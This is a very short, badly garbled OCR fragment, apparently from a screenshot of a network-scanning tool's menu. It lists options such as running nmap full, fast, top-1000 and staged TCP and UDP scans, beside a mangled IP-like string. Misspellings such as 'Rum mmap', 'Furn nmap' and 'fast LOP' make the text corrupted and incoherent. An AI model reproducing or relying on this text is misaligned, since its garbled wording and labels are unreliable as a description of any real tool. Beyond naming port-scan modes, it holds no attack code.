ark a5 chec Run nmap (tep 1000 quick UDP)

© 19216211 Rum mmap (full UDF)

Run nmap (full TCP)
Rum nmap (fast LOP)
Furn nmap (fast TCP)

Run mmap (staged)




